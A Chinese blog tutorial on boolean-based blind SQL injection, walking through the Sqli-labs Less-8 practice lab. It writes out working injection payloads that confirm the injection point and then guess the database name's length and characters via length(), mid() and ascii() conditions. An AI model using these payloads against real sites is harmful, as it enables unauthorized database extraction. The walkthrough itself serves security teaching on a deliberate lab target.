SQL Injection | SQL 注入 —— 布尔盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客
0x01:布尔盲注 —— 理论篇
布尔盲注(Boolean-Based Blind Injection)是一种常见的 SQL 注入技术,它适用于那些 SQL 注入时,查询结果不会直接显示在前端页面上,而是通过其它方式(如页面返回的不同提示)告诉用户操作成功与否的情况。
布尔盲注的攻击原理:攻击者通过向服务器后端传递带有条件表达式的 SQL 语句,并通过观察应用程序的响应或者页面上的行为变化来判断自己构造的表达式结果是真还是假,并以此来逐步获取目标数据库中的一些关键信息。
0x0101:MySQL 布尔盲注 — 相关函数
下面介绍一些对 MySQL 数据库进行布尔盲注时的相关函数及其使用示例:
函数名 | 函数解析 | 用法示例 |
---|---|---|
if(条件, 结果1, 结果2) | 条件正确,返回结果 1;否则,返回结果2 | select if(1=2, 3, 4); |
length() | 返回字符串的长度 | select length('ni'); |
ascii() | 返回字符的 ASCII 码值 | select ascii('a'); |
mid(string,start_pos,count) | 从 start_pos 开始,截取 string 的 count 位字符。 | select mid('12',1,1); |
substr(string,start_pos,count) | 从 start_pos 开始,截取 string 的 count 位字符。 | select substr('12',2,1); |
0x02:布尔盲注 —— 实战篇
本节重点在于熟悉布尔盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-8 GET - Blind - Boolian Based - Single Quotes,靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)
0x0201:第一阶段 — 判断注入点
进入靶场,靶场提示 Please input the ID as parameter with numeric value
要我们输入一个数字型的 ID
作为参数进行查询,那我们就按它的意思传入 id
看看网页返回的结果:
如上,靶场返回了一段字符 You are in
。似乎它是认可我们的操作了,但我们并没有从中获取什么有用的信息。为了方便后续的讲解,笔者就将这种回显为 You are in
的类型,标记为 True
了。
接下来,笔者又尝试给它传递了一个异常的值(字符串类型):
如上,靶场回显为空,似乎是不认可我们的操作。为了方便后续的讲解,笔者就将这种回显为空的形式标记为 False
了。
为了测试目标页面是否只有 True 和 False 两种状态的回显,这里笔者又进行了一系列的测试:
测试 Payload 1: ?id=1 结果: True测试 Payload 2: ?id=3-2 结果: True # 证明后端会对我们传递的数据进行运算测试 Payload 3: ?id=1 a 结果: True # 这个是 MySQL 数据库进行了隐式类型转换测试 Payload 4: ?id=1a' 结果: False # 推测后端通过 ' 号进行闭合的,且未做过滤测试 Payload 5: ?id=1a" 结果: True # 结合 Payload 4 更加验证了我们的猜想
拓展:MySQL 隐式类型转换
MySQL 数据库在执行查询操作时,会对不兼容的数据类型进行隐式类型转换。比如下面这个例子:
select * from users where id = '1abcd';
在上面这个例子中
id
列是一个数值类型(INT),而1abcd
是一个字符串。MySQL 会尝试将字符串1abcd
转换为数值。在这个转换过程中,MySQL 会从字符串的开头尽可能多地读取数字字符,直到遇到非数字字符为止。
因此
1abcd
会被转换为数值 1。如果id
列中存在值为1
的行,那么这行就会被查询出来:
基于上面测试的结果,我们可以大致推测出目标后端执行的 SQL 模板:
select * from users where id='$_GET["id"]'; # $_GET["id"] 就是我们的注入点
根据上面的模板,接下来,我们通过下面这条语句进行进一步的测试(#
号是 MySQL 注释符,用来注释后面的内容,防止后面有其它的内容来影响我们的注入):
测试 Payload 1: ?id=1' and 1=1 #'推测后端执行语句: select * from users where id='1' and 1=1 #'';笔者备注: 若靶场返回的结果为 True, 则证明我们推测的模板是正确的,反之则是存在问题的。
可以看到,其与我们推测的结果不符,难道真的是我们推测错了吗?可是目标确实在我们传递 '
号后会出现异常情况呀。其实,这与浏览器的 URL 规则有关:
问题解析:GET 方式不支持传递字符
#
号
#
号在 URL 中是一个已经被使用的定位符号,即如果你通过 URL 直接传递#
号,是会被浏览器识别为关键字的,你传递的内容不会被完整的显示到后端,如下图所示:
那如果你就是想传递#
号要怎么办呢?这就要使用 URL 编码了。为了在 URL 中顺利传递这些特殊字符,我们可以使用 URL 编码工具将要传递的内容进行编码后再传递,服务器的后端在接收到这些编码后的字符后,会自动进行一次解码,就如下图所示:
从上面的分析可知,问题出在了注释符 #
号上。解决方法也很简单,就是对 Payload 进行一次 URL 编码后再传递:
当然,如果每次通过 GET 方式的请求的内容都要进行编码,会显得很麻烦,所以这里笔者为你整理了两条测试的小建议:
-
注入点提交方式为 GET 时,建议使用
--+
的方式进行注释(+
号在 URL 中会被解析为空格) -
注入点提交方式为 POST 时,建议使用
#
号的方式进行注释
所以我们进行测试的 Payload 就可以变为下面这种样式:
测试 Payload 1: ?id=1' and 1=1 --+'推测后端执行语句: select * from users where id='1' and 1=1 -- '';笔者备注: 若靶场返回的结果为 True, 则证明我们推测的模板是正确的,反之则是存在问题的。
测试 Payload 2: ?id=1' and 1=0 --+'推测后端执行语句: select * from users where id='1' and 1=0 -- '';笔者备注: 若靶场返回的结果为 False, 则证明我们推测的模板是正确的,反之则是存在问题的。
通过上面两步测试,我们已经确定了,目标的 GET 型请求参数 id
处存在 SQL 注入漏洞,且注入模板如下:
注入模板: ?id=1' 攻击内容 --+'推测目标后端模板: select * from users where id='1' 攻击内容 -- ''
0x0202:第二阶段 — 布尔盲注漏洞利用
本节中,我们主要介绍如何通过布尔盲注,来获取目标数据库内的真实信息,这里需要用到数据库的一些相关函数,不了解的可以去文章开头的函数表格中查询用法。
1. 猜测数据库名长度
要获取数据库的真实信息,我们就需要摸清当前数据库的结构。比如有哪些数据库,每个数据库下有哪些表,每张表中有哪些字段。
盲注中的服务器当然不会直接回显,所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度(知道长度后才好猜解每一位的内容):
拓展:MySQL 中的
database()
函数
MySQL 中的database()
函数用于返回当前用户正在使用的数据库的名称,比如下面这样:
-- 猜测数据库名称长度为 1,若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1' and length(database())=1 --+'推测目标后端执行的语句: select * from users where id='1' and length(database())=1 --+'攻击结果: return False-- 猜测数据库名称长度为 2,若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1' and length(database())=2 --+'推测目标后端执行的语句: select * from users where id='1' and length(database())=2 --+'攻击结果: return False...-- 猜测数据库名称长度为 8,若返回为 True,则证明猜测正确攻击 Payload 08: ?id=1' and length(database())=8 --+'推测目标后端执行的语句: select * from users where id='1' and length(database())=8 --+'攻击结果: return True
如上,我们成功通过布尔盲注(条件表达式)判断出了,目标当前使用的数据库的名称长度为 8。
2. 猜解数据库名称
知道了目标当前使用的数据库的名称的长度后,我们就可以一个字符一个字符的进行猜解了,Payload 如下:
拓展:MySQL 对大小写不敏感
MySQL 数据库对大小写并不敏感,比如下面这个例子:
-- 猜测数据库的第一个字符为 'a',若返回为 True,则证明猜测正确
攻击 Payload 01: ?id=1' and mid(database(),1,1)='a' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='a' -- ''
攻击结果: return False-- 猜测数据库的第一个字符为 'b',若返回为 True,则证明猜测正确
攻击 Payload 02: ?id=1' and mid(database(),1,1)='b' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='b' -- ''
攻击结果: return False...-- 猜测数据库的第一个字符为 's',若返回为 True,则证明猜测正确
攻击 Payload 18: ?id=1' and mid(database(),1,1)='s' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='s' -- ''
攻击结果: return True...-- 猜测数据库的第二个字符为 'e',若返回为 True,则证明猜测正确
攻击 Payload n: ?id=1' and mid(database(),2,1)='e' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),2,1)='e' -- ''
攻击结果: return True...
由于猜解需要的语句太多了,所以笔者在这里就不一一列举了(从上面的测试 Payload 中其实很好找到规律的)。
除了通过上面这种直接传入具体字符猜测的,我们还可以利用字符的 ASCII 码值进行猜测,比如下面这个例子 (备注:二分法结合 ASCII 码值查询速度会比上面的直接利用字符猜测更快哦):
-- 猜测数据库的第一个字符的 ASCII 码值为 65,若返回为 True,则证明猜测正确
攻击 Payload 01: ?id=1' and ascii(mid(database(),1,1))=65 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=65 --+''
攻击结果: return False-- 猜测数据库的第一个字符的 ASCII 码值为 66,若返回为 True,则证明猜测正确
攻击 Payload 02: ?id=1' and ascii(mid(database(),1,1))=66 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=66 --+''
攻击结果: return False...-- 猜测数据库的第一个字符的 ASCII 码值为 115,若返回为 True,则证明猜测正确
攻击 Payload 18: ?id=1' and ascii(mid(database(),1,1))=115 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=115 --+''
攻击结果: return True...
3. 布尔盲注后续流程
布尔盲注的后续流程已经没有啥特别的了,核心思想就在前面介绍的两步中了:
-
获取你想要知道的信息的长度。
-
通过截取的方式利用布尔表达式获取每一位字符的内容。
-
将获取的每一位字符进行拼接,最终得到你想要的内容。
所以笔者在这里就不花时间多讲解了,相信聪明如你,从上面的几个例子中,已经可以领略到布尔盲注的核心思想了。
相关文章:

SQL Injection | SQL 注入 —— 布尔盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客 0x01:布尔盲注 —— 理论篇 布尔盲注(Boolean-Based Blind Injection)是一种常见的 SQL 注入技术,它适用于那些 SQL 注入时,查询结果不会直…...

stm32 bootloader写法
bootloader写法: 假设app的起始地址:0x08020000,则bootloader的范围是0x0800,0000~0x0801,FFFF。 #define APP_ADDR 0x08020000 // 应用程序首地址定义 typedef void (*APP_FUNC)(void); // 函数指针类型定义 /*main函数中调用rum_app&#x…...
Unity3D 物体表面水滴效果详解
在游戏开发中,逼真的水滴效果能够显著提升游戏场景的真实感和沉浸感。Unity3D作为一款强大的游戏开发引擎,提供了丰富的工具和技术来实现这种效果。本文将详细介绍如何在Unity3D中实现物体表面的水滴效果,包括技术详解和代码实现。 对惹&…...

若依框架中spring security的完整认证流程,及其如何使用自定义用户表进行登录认证,学会轻松实现二开,嘎嘎赚块乾
1)熟悉之前的SysUser登录流程 过滤器链验证配置 这里security过滤器链增加了前置过滤器链jwtFilter 该过滤器为我们自定义的,每次请求都会经过jwt验证 ok我们按ctrl alt B跳转过去来看下 首先会获取登录用户LoginUser 内部通过header键,获…...

selenium:操作滚动条的方法(8)
selenium支持几种操作滚动条的方法,主要介绍如下: 使用ActionChains 类模拟鼠标滚轮操作 使用函数ActionChains.send_keys发送按键Keys.PAGE_DOWN往下滑动页面,发送按键Keys.PAGE_UP往上滑动页面。 from selenium import webdriver from se…...

Discuz | 起尔开发 传奇开服表游戏公益服发布论坛网站插件
Discuz | 起尔开发 传奇开服表游戏公益服发布论坛网站插件 插件下载:源码 - 起尔开发的插件下载 演示地址:discuz.72jz.com 标黄和非标黄自动分开 在标黄时间内显示在上面置顶,标黄过期后自动显示在下面白色区域。 后台可以设置非标黄默认…...
问:JAVA对象的数据结构长啥样?
Java 对象在内存中的结构是一个复杂且精细的设计,它不仅关乎对象如何存储,还直接影响到垃圾回收(GC)、并发控制等运行时行为。一个典型的 Java 对象主要由三部分组成:对象头(Object Header)、实…...

STGCN解读(论文+代码)
一、引言 引言部分不是论文的重点,主要讲述了交通预测的重要性以及一些传统方法的不足之处。进而推出了自己的模型——STGCN。 二、交通预测与图卷积 第二部分讲述了交通预测中路图和图卷积的概念。 首先理解道路图,交通预测被定义为典型的时间序列预测…...
perl读取目录,写入文件
perl读取目录,写入文件 此脚本有两个输入参数,第一个参数为需要打印的文件目录,第二个参数为打印后的文件名; 该脚本名称为out_file_full_path #!/bin/perluse 5.010; my $dir $ARGV[0]; # 此为第一个参数; opendi…...

JDK-23与JavaFX配置在IDEA中
一、安装 1.IDEA安装,可以查看CSDN 2.JDK,JavaFX安装,可以查看CSDN 二、配置JDK 打开IDEA,选择个项目,点击图中的设置按钮: 点击项目设置: 点击“”添加JDK,寻找相应的JDK目录就行 三、配置…...

VSCode运行QT界面
VSCode用久了,感觉Qt Creator的写起代码来还是不如VSCode得心应手,虽然目前还是存在一些问题,先把目前实现的状况做个记录,后续有机会再进一步优化。 当前方式 通过QtCreator创建一个CMake项目,然后使用CMake的方式在VSCode中进行编译。 claude给出的建议 左上角的名字会…...
npm-run-all 使用实践
参考: npm-run-all 背景 在前端开发中,你是否存在以下烦恼: 写 package.json 的 scripts 命令时,命令太过冗长,例如编译命令 build 需要执行清理 clean, 编译css build:css, 编译js build:js, 编译html build:html 命令,则 bui…...
【CCPC】The 2021 CCPC Guilin Onsite (XXII Open Cup, Grand Prix of EDG) K
Tax #图论 #最短路 #搜索 #暴力 题目描述 JB received his driver’s license recently. To celebrate this fact, JB decides to drive to other cities in Byteland. There are n n n cities and m m m bidirectional roads in Byteland, labeled by 1 , 2 , … , n 1,…...
selenium的实际使用
1.标签页的切换 #获取当前所有的窗口 curdriver.window_handles #根据窗口索引进行切换 driver.switch_to.window(cur[1]) from selenium import webdriverimport timedriver webdriver.Chrome()driver.get(http://www.baidu.com)time.sleep(1)eledriver.find_element_by…...

OpenShift 4 - 云原生备份容灾 - Velero 和 OADP 基础篇
《OpenShift 4.x HOL教程汇总》 说明: 本文主要说明能够云原生备份容灾的开源项目 Velero 及其红帽扩展项目 OADP 的概念和架构篇。操作篇见《OpenShift 4 - 使用 OADP 对容器应用进行备份和恢复(附视频) 》 Velero 和 OADP 包含的功能和模…...

javaWeb项目-Springboot+vue-校园论坛系统功能介绍
本项目源码(点击下方链接下载):java-springbootvue-xx学校校园论坛信息系统实现源码(项目源码-说明文档)资源-CSDN文库 项目关键技术 开发工具:IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架:ssm、Springboot…...

centors7升级GLIBC2.18
错误来源:找不到GLIBC2.18,因为glibc的版本是2.17 网上大多教程方法,反正我是行不通: 方法1:更新源,然后使用yum安装更新 方法2:下载源码,configrue,make执行 wget h…...
基于深度学习的异常检测
基于深度学习的异常检测是一项重要的研究领域,主要用于识别数据中的异常样本或行为。异常检测广泛应用于多个领域,如网络安全、金融欺诈检测、工业设备预测性维护、医疗诊断等。传统的异常检测方法通常依赖于统计分析或规则,但随着数据复杂性…...
深入理解 SQL 中的高级数据处理特性:约束、索引和触发器
在 SQL(Structured Query Language)中,除了基本的查询、插入、更新和删除操作外,还有一些高级的数据处理特性,它们对于确保数据的完整性、提高查询性能以及实现自动化的数据处理起着至关重要的作用。这些特性包括约束、…...
IC验证面试中常问知识点总结(七)附带详细回答!!!
15、 TLM通信 15.1 实现两个组件之间的通信有哪几种方法?分别什么特点? 最简单的方法就是使用全局变量,在monitor里对此全局变量进行赋值,在scoreboard里监测此全局变量值的改变。这种方法简单、直接,不过要避免使用全局变量,滥用全局变量只会造成灾难性的后果。 稍微复…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台
🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...
uniapp 实现腾讯云IM群文件上传下载功能
UniApp 集成腾讯云IM实现群文件上传下载功能全攻略 一、功能背景与技术选型 在团队协作场景中,群文件共享是核心需求之一。本文将介绍如何基于腾讯云IMCOS,在uniapp中实现: 群内文件上传/下载文件元数据管理下载进度追踪跨平台文件预览 二…...
用鸿蒙HarmonyOS5实现中国象棋小游戏的过程
下面是一个基于鸿蒙OS (HarmonyOS) 的中国象棋小游戏的实现代码。这个实现使用Java语言和鸿蒙的Ability框架。 1. 项目结构 /src/main/java/com/example/chinesechess/├── MainAbilitySlice.java // 主界面逻辑├── ChessView.java // 游戏视图和逻辑├──…...
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
iOS 应用的发布流程一直是开发链路中最“苹果味”的环节:强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说,这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发(例如 Flutter、React Na…...